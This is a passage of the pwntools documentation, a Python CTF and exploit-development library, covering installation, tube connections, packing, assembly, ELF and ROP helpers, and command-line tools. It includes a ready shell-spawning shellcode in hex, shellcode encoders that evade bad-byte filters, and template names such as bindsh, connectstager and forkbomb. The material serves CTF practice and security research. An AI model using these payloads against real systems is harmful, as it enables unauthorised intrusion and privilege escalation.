pwntools Documentation

Release 3.0.2

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Contents

`pwntools` is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.

The primary location for this documentation is at docs.pwntools.com, which uses readthedocs. It comes in three primary flavors:

- Stable
- Beta
- Dev

CHAPTER 1

Getting Started

1.1 About pwntools

Whether you're using it to write exploits, or as part of another software project will dictate how you use it.

Historically pwntools was used as a sort of exploit-writing DSL. Simply doing `from pwn import *` in a previous version of pwntools would bring all sorts of nice side-effects.

When redesigning pwntools for 2.0, we noticed two contrary goals:

- We would like to have a "normal" python module structure, to allow other people to familiarize themselves with pwntools quickly.
- We would like to have even more side-effects, especially by putting the terminal in raw-mode.

To make this possible, we decided to have two different modules. `pwnlib` would be our nice, clean Python module, while `pwn` would be used during CTFs.

1.1.1 `pwn` — Toolbox optimized for CTFs

As stated, we would also like to have the ability to get a lot of these side-effects by default. That is the purpose of this module. It does the following:

- Imports everything from the toplevel `pwnlib` along with functions from a lot of submodules. This means that if you do `import pwn` or `from pwn import *`, you will have access to everything you need to write an exploit.
- Calls `pwnlib.term.init()` to put your terminal in raw mode and implements functionality to make it appear like it isn't.
- Setting the `pwnlib.context.log_level` to *"info"*.
- Tries to parse some of the values in `sys.argv` and every value it succeeds in parsing it removes.

1.1.2 `pwnlib` — Normal python library

This module is our "clean" python-code. As a rule, we do not think that importing `pwnlib` or any of the submodules should have any significant side-effects (besides e.g. caching).

For the most part, you will also only get the bits you import. You for instance not get access to `pwnlib.util.packing` simply by doing `import pwnlib.util`.

Though there are a few exceptions (such as *pwnlib.shellcraft*), that does not quite fit the goals of being simple and clean, but they can still be imported without implicit side-effects.

1.2 Installation

pwntools is best supported on Ubuntu 12.04 and 14.04, but most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).

1.2.1 Prerequisites

In order to get the most out of `pwntools`, you should have the following system libraries installed.

Binutils

Assembly of foreign architectures (e.g. assembling Sparc shellcode on Mac OS X) requires cross-compiled versions of `binutils` to be installed. We've made this process as smooth as we can.

In these examples, replace `$ARCH` with your target architecture (e.g., arm, mips64, vax, etc.).

Building *binutils* from source takes about 60 seconds on a modern 8-core machine.

Ubuntu

First, add our Personal Package Archive repository.

```
$ apt-get install software-properties-common
$ apt-add-repository ppa:pwntools/binutils
$ apt-get update
```

Then, install the binutils for your architecture.

```
$ apt-get install binutils-$ARCH-linux-gnu
```

Mac OS X

Mac OS X is just as easy, but requires building binutils from source. However, we've made `homebrew` recipes to make this a single command. After installing brew, grab the appropriate recipe from our binutils repo.

```
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$AR
```

Alternate OSes

If you want to build everything by hand, or don't use any of the above OSes, `binutils` is simple to build by hand.

```
#!/usr/bin/env bash

V=2.25   # Binutils Version
ARCH=arm # Target architecture

cd /tmp
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz
wget -nc https://ftp.gnu.org/gnu/binutils/binutils-$V.tar.gz.sig

gpg --keyserver keys.gnupg.net --recv-keys 4AE55E93
gpg --verify binutils-$V.tar.gz.sig

tar xf binutils-$V.tar.gz

mkdir binutils-build
cd binutils-build

export AR=ar
export AS=as

../binutils-$V/configure \
    --prefix=/usr/local \
    --target=$ARCH-unknown-linux-gnu \
    --disable-static \
    --disable-multilib \
    --disable-werror \
    --disable-nls

MAKE=gmake
hash gmake || MAKE=make

$MAKE -j clean all
sudo $MAKE install
```

Python Development Headers

Some of pwntools' Python dependencies require native extensions (for example, Paramiko requires PyCrypto).

In order to build these native extensions, the development headers for Python must be installed.

Ubuntu

```
$ apt-get install python-dev
```

Mac OS X

No action needed.

1.2.2 Released Version

pwntools is available as a `pip` package.

```
$ apt-get install python2.7 python2.7-dev python-pip
$ pip install --upgrade pwntools
```

Alternatively you can get early access to the beta release if you want to help file bugs or simple get newer features:

```
$ pip install --upgrade --pre pwntools
```

1.2.3 Development

If you are hacking on Pwntools locally, you'll want to do something like this:

```
$ git clone https://github.com/Gallopsled/pwntools
$ cd pwntools
$ pip install -e .
```

1.3 Getting Started

To get your feet wet with pwntools, let's first go through a few examples.

When writing exploits, pwntools generally follows the "kitchen sink" approach.

```
>>> from pwn import *
```

This imports a lot of functionality into the global namespace. You can now assemble, disassemble, pack, unpack, and many other things with a single function.

A full list of everything that is imported is available on from pwn import *.

1.3.1 Making Connections

You need to talk to the challenge binary in order to pwn it, right? pwntools makes this stupid simple with its `pwnlib.tubes` module.

This exposes a standard interface to talk to processes, sockets, serial ports, and all manner of things, along with some nifty helpers for common tasks. For example, remote connections via `pwnlib.tubes.remote`.

```
>>> conn = remote('ftp.debian.org',21)
>>> conn.recvline()
'220 ...'
>>> conn.send('USER anonymous\r\n')
>>> conn.recvuntil(' ', drop=True)
'331'
>>> conn.recvline()
'Please specify the password.\r\n'
>>> conn.close()
```

It's also easy to spin up a listener

```
>>> l = listen()
>>> r = remote('localhost', l.lport)
>>> c = l.wait_for_connection()
>>> r.send('hello')
>>> c.recv()
'hello'
```

Interacting with processes is easy thanks to `pwnlib.tubes.process`.

```
>>> sh = process('/bin/sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> sh.close()
```

Not only can you interact with processes programmatically, but you can actually **interact** with processes.

```
>>> sh.interactive()
$ whoami
user
```

There's even an SSH module for when you've got to SSH into a box to perform a local/setuid exploit with *pwnlib.tubes.ssh*. You can quickly spawn processes and grab the output, or spawn a process and interact with it like a `process` tube.

```
>>> shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
>>> shell['whoami']
'bandit0'
>>> shell.download_file('/etc/motd')
>>> sh = shell.run('sh')
>>> sh.sendline('sleep 3; echo hello world;')
>>> sh.recvline(timeout=1)
''
>>> sh.recvline(timeout=5)
'hello world\n'
>>> shell.close()
```

1.3.2 Packing Integers

A common task for exploit-writing is converting between integers as Python sees them, and their representation as a sequence of bytes. Usually folks resort to the built-in `struct` module.

pwntools makes this easier with *pwnlib.util.packing*. No more remembering unpacking codes, and littering your code with helper routines.

```
>>> import struct
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
True
>>> leet = '37130000'.decode('hex')
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
True
```

The packing/unpacking operations are defined for many common bit-widths.

```
>>> u8('A') == 0x41
True
```

1.3.3 Setting the Target Architecture and OS

The target architecture can generally be specified as an argument to the routine that requires it.

```
>>> asm('nop')
'\x90'
>>> asm('nop', arch='arm')
'\x00\xf0 \xe3'
```

However, it can also be set once in the global `context`. The operating system, word size, and endianness can also be set here.

```
>>> context.arch      = 'i386'
>>> context.os        = 'linux'
>>> context.endian    = 'little'
>>> context.word_size = 32
```

Additionally, you can use a shorthand to set all of the values at once.

```
>>> asm('nop')
'\x90'
>>> context(arch='arm', os='linux', endian='big', word_size=32)
>>> asm('nop')
'\xe3 \xf0\x00'
```

1.3.4 Setting Logging Verbosity

You can control the verbosity of the standard pwntools logging via `context`.

For example, setting

```
>>> context.log_level = 'debug'
```

Will cause all of the data sent and received by a `tube` to be printed to the screen.

1.3.5 Assembly and Disassembly

Never again will you need to run some already-assembled pile of shellcode from the internet! The *pwnlib.asm* module is full of awesome.

```
>>> asm('mov eax, 0').encode('hex')
'b800000000'
```

But if you do, it's easy to suss out!

```
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
   0:   6a 02                   push   0x2
   2:   58                      pop    eax
   3:   cd 80                   int    0x80
   5:   eb f9                   jmp    0x0
```

However, you shouldn't even need to write your own shellcode most of the time! pwntools comes with the *pwnlib.shellcraft* module, which is loaded with useful time-saving shellcodes.

Let's say that we want to *setreuid(getuid(), getuid())* followed by *dup'ing file descriptor 4 to 'stdin*, *stdout*, and *stderr*, and then pop a shell!

```
>>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex')
'6a3158cd8089c36a465889d9cd806a045b6a0359496a3f58cd8075f86a68682f2f2f73682f62696e6a0b5889e331c999cd8
```

1.3.6 Misc Tools

Never write another hexdump, thanks to *pwnlib.util.fiddling*.

Find offsets in your buffer that cause a crash, thanks to `pwnlib.cyclic`.

```
>>> print cyclic(20)
aaaabaaacaaadaaaeaaa
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166))  at crash time
>>> print cyclic_find('faab')
120
```

1.3.7 ELF Manipulation

Stop hard-coding things! Look them up at runtime with *pwnlib.elf*.

```
>>> e = ELF('/bin/cat')
>>> print hex(e.address)
0x400000
>>> print hex(e.symbols['write'])
0x401680
>>> print hex(e.got['write'])
0x60b070
>>> print hex(e.plt['write'])
0x401680
```

You can even patch and save the files.

```
>>> e = ELF('/bin/cat')
>>> e.read(e.address+1, 3)
'ELF'
>>> e.asm(e.address, 'ret')
>>> e.save('/tmp/quiet-cat')
>>> disasm(file('/tmp/quiet-cat','rb').read(1))
'   0:   c3                      ret'
```

1.4 from pwn import *

The most common way that you'll see pwntools used is

```
>>> from pwn import *
```

Which imports a bazillion things into the global namespace to make your life easier.

This is a quick list of most of the objects and routines imported, in rough order of importance and frequency of use.

- **context**
  - *pwnlib.context.context*
  - Responsible for most of the pwntools convenience settings
  - Set *context.log_level = 'debug'* when troubleshooting your exploit
  - Scope-aware, so you can disable logging for a subsection of code via `pwnlib.context.ContextType.local`
- **remote, listen, ssh, process**
  - *pwnlib.tubes*
  - Super convenient wrappers around all of the common functionality for CTF challenges
  - Connect to anything, anywhere, and it works the way you want it to
  - Helpers for common tasks like `recvline`, `recvuntil`, `clean`, etc.
  - Interact directly with the application via `.interactive()`
- **p32 and u32**
  - *pwnlib.util.packing*

  - Useful functions to make sure you never have to remember if `'>'` means signed or unsigned for `struct.pack`, and no more ugly `[0]` index at the end.
  - Set `signed` and `endian` in sane manners (also these can be set once on `context` and not bothered with again)
  - Most common sizes are pre-defined (`u8`, `u64`, etc), and *`pwnlib.util.packing.pack()`* lets you define your own.
- **`log`**
  - *`pwnlib.log`*
  - Make your output pretty!
- **`cyclic` and `cyclic_func`**
  - *`pwnlib.util.cyclic`*
  - Utilities for generating strings such that you can find the offset of any given substring given only N (usually 4) bytes. This is super useful for straight buffer overflows. Instead of looking at 0x41414141, you could know that 0x61616171 means you control EIP at offset 64 in your buffer.
- **`asm` and `disasm`**
  - *`pwnlib.asm`*
  - Quickly turn assembly into some bytes, or vice-versa, without mucking about
  - Supports any architecture for which you have a binutils installed
  - Over 20 different architectures have pre-built binaries at ppa:pwntools/binutils.
- **`shellcraft`**
  - *`pwnlib.shellcraft`*
  - Library of shellcode ready to go
  - `asm(shellcraft.sh())` gives you a shell
  - Templating library for reusability of shellcode fragments
- **`ELF`**
  - *`pwnlib.elf`*
  - ELF binary manipulation tools, including symbol lookup, virtual memory to file offset helpers, and the ability to modify and save binaries back to disk
- **`DynELF`**
  - *`pwnlib.dynelf`*
  - Dynamically resolve functions given only a pointer to any loaded module, and a function which can leak data at any address
- **`ROP`**
  - `pwnlib.rop`
  - Automatically generate ROP chains using a DSL to describe what you want to do, rather than raw addresses
- **`gdb.debug` and `gdb.attach`**
  - *`pwnlib.gdb`*

  - Launch a binary under GDB and pop up a new terminal to interact with it. Automates setting breakpoints and makes iteration on exploits MUCH faster.
  - Alternately, attach to a running process given a PID, `pwnlib.tubes` object, or even just a socket that's connected to it

- **`args`**
  - Dictionary contining all-caps command-line arguments for quick access
  - Run via `python foo.py REMOTE=1` and `args['REMOTE'] == '1'`.
  - **Can also control logging verbosity and terminal fancyness**
    - *NOTERM*
    - *SILENT*
    - *DEBUG*
- **`randoms`, `rol`, `ror`, `xor`, `bits`**
  - *`pwnlib.util.fiddling`*
  - Useful utilities for generating random data from a given alphabet, or simplifying math operations that usually require masking off with *0xffffffff* or calling *ord* and *chr* an ugly number of times
- **`net`**
  - *`pwnlib.util.net`*
  - Routines for querying about network interfaces
- **`proc`**
  - *`pwnlib.util.proc`*
  - Routines for querying about processes
- **`pause`**
  - It's the new `getch`
- **`safeeval`**
  - *`pwnlib.util.safeeval`*
  - Functions for safely evalutaing python code without nasty side-effects.

These are all pretty self explanatory, but are useful to have in the global namespace.

- `hexdump`
- `read` and `write`
- `enhex` and `unhex`
- `more`
- `group`
- `align` and `align_down`
- `urlencode` and `urldecode`
- `which`
- `wget`

Additionally, all of the following modules are auto-imported for you. You were going to do it anyway.

- `os`
- `sys`
- `time`
- `requests`
- `re`
- `random`

1.5 Command Line Tools

pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.

1.5.1 asm

Assemble shellcode into bytes

usage: asm [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-v AVOID] [-n] [-z] [-d] [-e ENCODER] [-i INFILE] [-r] [line [line ...]]

`line`
Lines to assemble. If none are supplied, use stdin

`-h``, `**`--help`**
show this help message and exit

`-f`` {raw,hex,string,elf}, `**`--format`**` {raw,hex,string,elf}`
Output format (defaults to hex for ttys, otherwise raw)

`-o`` <file>, `**`--output`**` <file>`
Output file (defaults to stdout)

`-c`` {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp`
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’, ‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’, ‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’, ‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]

`-v`` <avoid>, `**`--avoid`**` <avoid>`
Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)

`-n``, `**`--newline`**
Encode the shellcode to avoid newlines

`-z``, `**`--zero`**
Encode the shellcode to avoid NULL bytes

`-d``, `**`--debug`**
Debug the shellcode with GDB

`-e`` <encoder>, `**`--encoder`**` <encoder>`
Specific encoder to use

`-i`` <infile>, `**`--infile`**` <infile>`
Specify input file

-r, --run
: Run output

1.5.2 checksec

Check binary security settings

usage: checksec [-h] [–file [elf [elf ...]]] [elf [elf ...]]

elf
: Files to check

-h, --help
: show this help message and exit

--file `<elf>`
: File to check (for compatibility with checksec.sh)

1.5.3 constgrep

Looking up constants from header files.

Example: constgrep -c freebsd -m ^PROT_ ‘3 + 4’

usage: constgrep [-h] [-e constant] [-i] [-m] [-c arch_or_os] [regex] [constant]

regex
: The regex matching constant you want to find

constant
: The constant to find

-h, --help
: show this help message and exit

-e `<constant>`**, --exact** `<constant>`
: Do an exact match for a constant instead of searching for a regex

-i, --case-insensitive
: Search case insensitive

-m, --mask-mode
: Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.

-c `{16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp`
: The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: [‘16’, ‘32’, ‘64’, ‘android’, ‘cgc’, ‘freebsd’, ‘linux’, ‘windows’, ‘powerpc64’, ‘aarch64’, ‘sparc64’, ‘powerpc’, ‘mips64’, ‘msp430’, ‘thumb’, ‘amd64’, ‘sparc’, ‘alpha’, ‘s390’, ‘i386’, ‘m68k’, ‘mips’, ‘ia64’, ‘cris’, ‘vax’, ‘avr’, ‘arm’, ‘little’, ‘big’, ‘el’, ‘le’, ‘be’, ‘eb’]

1.5.4 cyclic

Cyclic pattern creator/finder

usage: cyclic [-h] [-a alphabet] [-n length] [-c context] [-l lookup_value] [count]

count
: Number of characters to print

-h, --help
show this help message and exit

-a <alphabet>, **--alphabet** <alphabet>
The alphabet to use in the cyclic pattern (defaults to all lower case letters)

-n <length>, **--length** <length>
Size of the unique subsequences (defaults to 4).

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-l <lookup_value>, **-o** <lookup_value>, **--offset** <lookup_value>, **--lookup** <lookup_value>
Do a lookup instead printing the alphabet

1.5.5 disasm

Disassemble bytes into text format

usage: disasm [-h] [-c arch_or_os] [-a address] [–color] [–no-color] [hex [hex ...]]

hex
Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.

-h, --help
show this help message and exit

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-a <address>, **--address** <address>
Base address

--color
Color output

--no-color
Disable color output

1.5.6 elfdiff

usage: elfdiff [-h] a b

a

b

-h, --help
show this help message and exit

1.5.7 elfpatch

usage: elfpatch [-h] elf offset bytes

`elf`
File to patch

`offset`
Offset to patch in virtual address (hex encoded)

`bytes`
Bytes to patch (hex encoded)

`-h, --help`
show this help message and exit

1.5.8 errno

Prints out error messages

usage: errno [-h] error

`error`
Error message or value

`-h, --help`
show this help message and exit

1.5.9 hex

Hex-encodes data provided on the command line or via stdin.

usage: hex [-h] [data [data ...]]

`data`
Data to convert into hex

`-h, --help`
show this help message and exit

1.5.10 phd

Pwnlib HexDump

usage: phd [-h] [-w WIDTH] [-l [HIGHLIGHT [HIGHLIGHT ...]]] [-s SKIP] [-c COUNT] [-o OFFSET] [–color [{always,never,auto}]] [file]

`file`
File to hexdump. Reads from stdin if missing.

`-h, --help`
show this help message and exit

`-w` `<width>`, **`--width`** `<width>`
Number of bytes per line.

`-l` `<highlight>`, **`--highlight`** `<highlight>`
Byte to highlight.

-s <skip>, **--skip** <skip>
Skip this many initial bytes.

-c <count>, **--count** <count>
Only show this many bytes.

-o <offset>, **--offset** <offset>
Addresses in left hand column starts at this address.

--color {always,never,auto}
Colorize the output. When 'auto' output is colorized exactly when stdout is a TTY. Default is 'auto'.

1.5.11 pwnstrip

Strip binaries for CTF usage

usage: pwnstrip [-h] [-b] [-p FUNCTION] [-o OUTPUT] file

file

-h, --help
show this help message and exit

-b, --build-id
Strip build ID

-p <function>, **--patch** <function>
Patch function

-o <output>, **--output** <output>

1.5.12 scramble

Shellcode encoder

usage: scramble [-h] [-f {raw,hex,string,elf}] [-o file] [-c context] [-p] [-v AVOID] [-n] [-z] [-d]

-h, --help
show this help message and exit

-f {raw,hex,string,elf}, **--format** {raw,hex,string,elf}
Output format (defaults to hex for ttys, otherwise raw)

-o <file>, **--output** <file>
Output file (defaults to stdout)

-c {16,32,64,android,cgc,freebsd,linux,windows,powerpc64,aarch64,sparc64,powerpc,mips64,msp
The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: ['16', '32', '64', 'android', 'cgc', 'freebsd', 'linux', 'windows', 'powerpc64', 'aarch64', 'sparc64', 'powerpc', 'mips64', 'msp430', 'thumb', 'amd64', 'sparc', 'alpha', 's390', 'i386', 'm68k', 'mips', 'ia64', 'cris', 'vax', 'avr', 'arm', 'little', 'big', 'el', 'le', 'be', 'eb']

-p, --alphanumeric
Encode the shellcode with an alphanumeric encoder

-v <avoid>, **--avoid** <avoid>
Encode the shellcode to avoid the listed bytes

-n, --newline
Encode the shellcode to avoid newlines

-z, --zero
Encode the shellcode to avoid NULL bytes

-d, --debug
Debug the shellcode with GDB

1.5.13 shellcraft

Microwave shellcode – Easy, fast and delicious

usage: shellcraft [-h] [-?] [-o file] [-f format] [-d] [-b] [-a] [-v AVOID] [-n] [-z] [-r] [–color] [–no-color] [–syscalls] [–address ADDRESS] [shellcode] [arg [arg ...]]

shellcode
The shellcode you want

arg
Argument to the chosen shellcode

-h, --help
show this help message and exit

-?, --show
Show shellcode documentation

-o <file>, **--out** <file>
Output file (default: stdout)

-f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p,i,hexii,e,elf,default}, **--format** {r,raw,s,s
Output format (default: hex), choose from {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code

-d, --debug
Debug the shellcode with GDB

-b, --before
Insert a debug trap before the code

-a, --after
Insert a debug trap after the code

-v <avoid>, **--avoid** <avoid>
Encode the shellcode to avoid the listed bytes

-n, --newline
Encode the shellcode to avoid newlines

-z, --zero
Encode the shellcode to avoid NULL bytes

-r, --run
Run output

--color
Color output

--no-color
Disable color output

--syscalls
List syscalls

`--address <address>`
Load address

Available shellcodes are: aarch64.android.accept aarch64.android.access aarch64.android.acct aarch64.android.alarm aarch64.android.bind aarch64.android.brk aarch64.android.cat aarch64.android.chdir aarch64.android.chmod aarch64.android.chown aarch64.android.chroot aarch64.android.clock_getres aarch64.android.clock_gettime aarch64.android.clock_nanosleep aarch64.android.clock_settime aarch64.android.clone aarch64.android.close aarch64.android.connect aarch64.android.creat aarch64.android.dup aarch64.android.dup2 aarch64.android.dup3 aarch64.android.echo aarch64.android.epoll_create aarch64.android.epoll_create1 aarch64.android.epoll_ctl aarch64.android.epoll_pwait aarch64.android.epoll_wait aarch64.android.execve aarch64.android.exit aarch64.android.faccessat aarch64.android.fallocate aarch64.android.fchdir aarch64.android.fchmod aarch64.android.fchmodat aarch64.android.fchown aarch64.android.fchownat aarch64.android.fcntl aarch64.android.fdatasync aarch64.android.flock aarch64.android.fork aarch64.android.forkexit aarch64.android.fstat aarch64.android.fstat64 aarch64.android.fstatat64 aarch64.android.fsync aarch64.android.ftruncate aarch64.android.ftruncate64 aarch64.android.futimesat aarch64.android.getcwd aarch64.android.getegid aarch64.android.geteuid aarch64.android.getgid aarch64.android.getgroups aarch64.android.getitimer aarch64.android.getpeername aarch64.android.getpgid aarch64.android.getpgrp aarch64.android.getpid aarch64.android.getpmsg aarch64.android.getppid aarch64.android.getpriority aarch64.android.getresgid aarch64.android.getresuid aarch64.android.getrlimit aarch64.android.getrusage aarch64.android.getsid aarch64.android.getsockname aarch64.android.getsockopt aarch64.android.gettimeofday aarch64.android.getuid aarch64.android.gtty aarch64.android.ioctl aarch64.android.ioperm aarch64.android.iopl aarch64.android.kill aarch64.android.lchown aarch64.android.link aarch64.android.linkat aarch64.android.listen aarch64.android.loader aarch64.android.loader_append aarch64.android.lseek aarch64.android.lstat aarch64.android.lstat64 aarch64.android.madvise aarch64.android.mincore aarch64.android.mkdir aarch64.android.mkdirat aarch64.android.mknod aarch64.android.mknodat aarch64.android.mlock aarch64.android.mlockall aarch64.android.mmap aarch64.android.mprotect aarch64.android.mq_notify aarch64.android.mq_open aarch64.android.mq_timedreceive aarch64.android.mq_timedsend aarch64.android.mq_unlink aarch64.android.mremap aarch64.android.msync aarch64.android.munlock aarch64.android.munlockall aarch64.android.munmap aarch64.android.nanosleep aarch64.android.nice aarch64.android.open aarch64.android.openat aarch64.android.pause aarch64.android.pipe aarch64.android.pipe2 aarch64.android.poll aarch64.android.ppoll aarch64.android.prctl aarch64.android.pread aarch64.android.preadv aarch64.android.prlimit64 aarch64.android.profil aarch64.android.ptrace aarch64.android.putpmsg aarch64.android.pwrite aarch64.android.pwritev aarch64.android.read aarch64.android.readahead aarch64.android.readdir aarch64.android.readlink aarch64.android.readlinkat aarch64.android.readn aarch64.android.readv aarch64.android.recv aarch64.android.recvfrom aarch64.android.recvmmsg aarch64.android.recvmsg aarch64.android.remap_file_pages aarch64.android.rename aarch64.android.renameat aarch64.android.rmdir aarch64.android.sched_get_priority_max aarch64.android.sched_get_priority_min aarch64.android.sched_getaffinity aarch64.android.sched_getparam aarch64.android.sched_getscheduler aarch64.android.sched_rr_get_interval aarch64.android.sched_setaffinity aarch64.android.sched_setparam aarch64.android.sched_setscheduler aarch64.android.sched_yield aarch64.android.select aarch64.android.sendfile aarch64.android.sendfile64 aarch64.android.setdomainname aarch64.android.setgid aarch64.android.setgroups aarch64.android.sethostname aarch64.android.setitimer aarch64.android.setpgid aarch64.android.setpriority aarch64.android.setregid aarch64.android.setresgid aarch64.android.setresuid aarch64.android.setreuid aarch64.android.setrlimit aarch64.android.setsid aarch64.android.setsockopt aarch64.android.setsockopt_timeout aarch64.android.settimeofday aarch64.android.setuid aarch64.android.sh aarch64.android.sigaction aarch64.android.sigaltstack aarch64.android.signal aarch64.android.sigpending aarch64.android.sigprocmask aarch64.android.sigreturn aarch64.android.sigsuspend aarch64.android.socket aarch64.android.splice aarch64.android.stage aarch64.android.stat aarch64.android.stat64 aarch64.android.stime aarch64.android.stty aarch64.android.symlink aarch64.android.symlinkat aarch64.android.sync aarch64.android.sync_file_range aarch64.android.syscall aarch64.android.syslog aarch64.android.tee aarch64.android.time aarch64.android.timer_create aarch64.android.timer_delete aarch64.android.timer_getoverrun aarch64.android.timer_gettime aarch64.android.timer_settime aarch64.android.truncate aarch64.android.truncate64 aarch64.android.ulimit aarch64.android.umask aarch64.android.uname aarch64.android.unlink aarch64.android.unlinkat aarch64.android.unshare aarch64.android.ustat aarch64.android.utime aarch64.android.utimensat aarch64.android.utimes aarch64.android.vfork aarch64.android.vhangup aarch64.android.vmsplice aarch64.android.wait4 aarch64.android.waitid aarch64.android.waitpid aarch64.android.write aarch64.android.writev aarch64.infloop aarch64.linux.accept aarch64.linux.access aarch64.linux.acct aarch64.linux.alarm aarch64.linux.bind aarch64.linux.brk aarch64.linux.cat aarch64.linux.chdir aarch64.linux.chmod aarch64.linux.chown aarch64.linux.chroot aarch64.linux.clock_getres aarch64.linux.clock_gettime aarch64.linux.clock_nanosleep aarch64.linux.clock_settime aarch64.linux.clone aarch64.linux.close aarch64.linux.connect aarch64.linux.creat aarch64.linux.dup aarch64.linux.dup2 aarch64.linux.dup3 aarch64.linux.echo aarch64.linux.epoll_create aarch64.linux.epoll_create1 aarch64.linux.epoll_ctl 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amd64.android.egghunter amd64.android.epoll_create amd64.android.epoll_create1 amd64.android.epoll_ctl amd64.android.epoll_pwait amd64.android.epoll_wait amd64.android.execve amd64.android.exit amd64.android.faccessat amd64.android.fallocate amd64.android.fchdir amd64.android.fchmod amd64.android.fchmodat amd64.android.fchown amd64.android.fchownat amd64.android.fcntl amd64.android.fdatasync amd64.android.findpeer amd64.android.findpeersh amd64.android.flock amd64.android.fork amd64.android.forkbomb amd64.android.forkexit amd64.android.fstat amd64.android.fstat64 amd64.android.fstatat64 amd64.android.fsync amd64.android.ftruncate amd64.android.ftruncate64 amd64.android.futimesat amd64.android.getcwd amd64.android.getegid amd64.android.geteuid amd64.android.getgid amd64.android.getgroups amd64.android.getitimer amd64.android.getpeername amd64.android.getpgid amd64.android.getpgrp amd64.android.getpid amd64.android.getpmsg amd64.android.getppid amd64.android.getpriority amd64.android.getresgid amd64.android.getresuid amd64.android.getrlimit amd64.android.getrusage amd64.android.getsid amd64.android.getsockname amd64.android.getsockopt amd64.android.gettimeofday amd64.android.getuid amd64.android.gtty amd64.android.ioctl amd64.android.ioperm amd64.android.iopl amd64.android.kill amd64.android.killparent amd64.android.lchown amd64.android.link amd64.android.linkat amd64.android.listen amd64.android.loader amd64.android.loader_append amd64.android.lseek amd64.android.lstat amd64.android.lstat64 amd64.android.madvise amd64.android.membot amd64.android.migrate_stack amd64.android.mincore amd64.android.mkdir amd64.android.mkdirat amd64.android.mknod amd64.android.mknodat amd64.android.mlock amd64.android.mlockall amd64.android.mmap amd64.android.mmap_rwx amd64.android.mov amd64.android.mprotect amd64.android.mq_notify amd64.android.mq_open amd64.android.mq_timedreceive amd64.android.mq_timedsend amd64.android.mq_unlink amd64.android.mremap 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amd64.android.sched_getaffinity amd64.android.sched_getparam amd64.android.sched_getscheduler amd64.android.sched_rr_get_interval amd64.android.sched_setaffinity amd64.android.sched_setparam amd64.android.sched_setscheduler amd64.android.sched_yield amd64.android.select amd64.android.sendfile amd64.android.sendfile64 amd64.android.setdomainname amd64.android.setgid amd64.android.setgroups amd64.android.sethostname amd64.android.setitimer amd64.android.setpgid amd64.android.setpriority amd64.android.setregid amd64.android.setresgid amd64.android.setresuid amd64.android.setreuid amd64.android.setrlimit amd64.android.setsid amd64.android.setsockopt amd64.android.setsockopt_timeout amd64.android.settimeofday amd64.android.setuid amd64.android.sh amd64.android.sigaction amd64.android.sigaltstack amd64.android.signal amd64.android.sigpending amd64.android.sigprocmask amd64.android.sigreturn amd64.android.sigsuspend amd64.android.socket amd64.android.splice amd64.android.stage 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amd64.linux.alarm amd64.linux.bind amd64.linux.bindsh amd64.linux.brk amd64.linux.cat amd64.linux.chdir amd64.linux.chmod amd64.linux.chown amd64.linux.chroot amd64.linux.clock_getres amd64.linux.clock_gettime amd64.linux.clock_nanosleep amd64.linux.clock_settime amd64.linux.clone amd64.linux.close amd64.linux.connect amd64.linux.connectstager amd64.linux.creat amd64.linux.dup amd64.linux.dup2 amd64.linux.dup3 amd64.linux.dupsh amd64.linux.echo amd64.linux.egghunter amd64.linux.epoll_create amd64.linux.epoll_create1 amd64.linux.epoll_ctl amd64.linux.epoll_pwait amd64.linux.epoll_wait amd64.linux.execve amd64.linux.exit amd64.linux.faccessat amd64.linux.fallocate amd64.linux.fchdir amd64.linux.fchmod amd64.linux.fchmodat amd64.linux.fchown amd64.linux.fchownat amd64.linux.fcntl 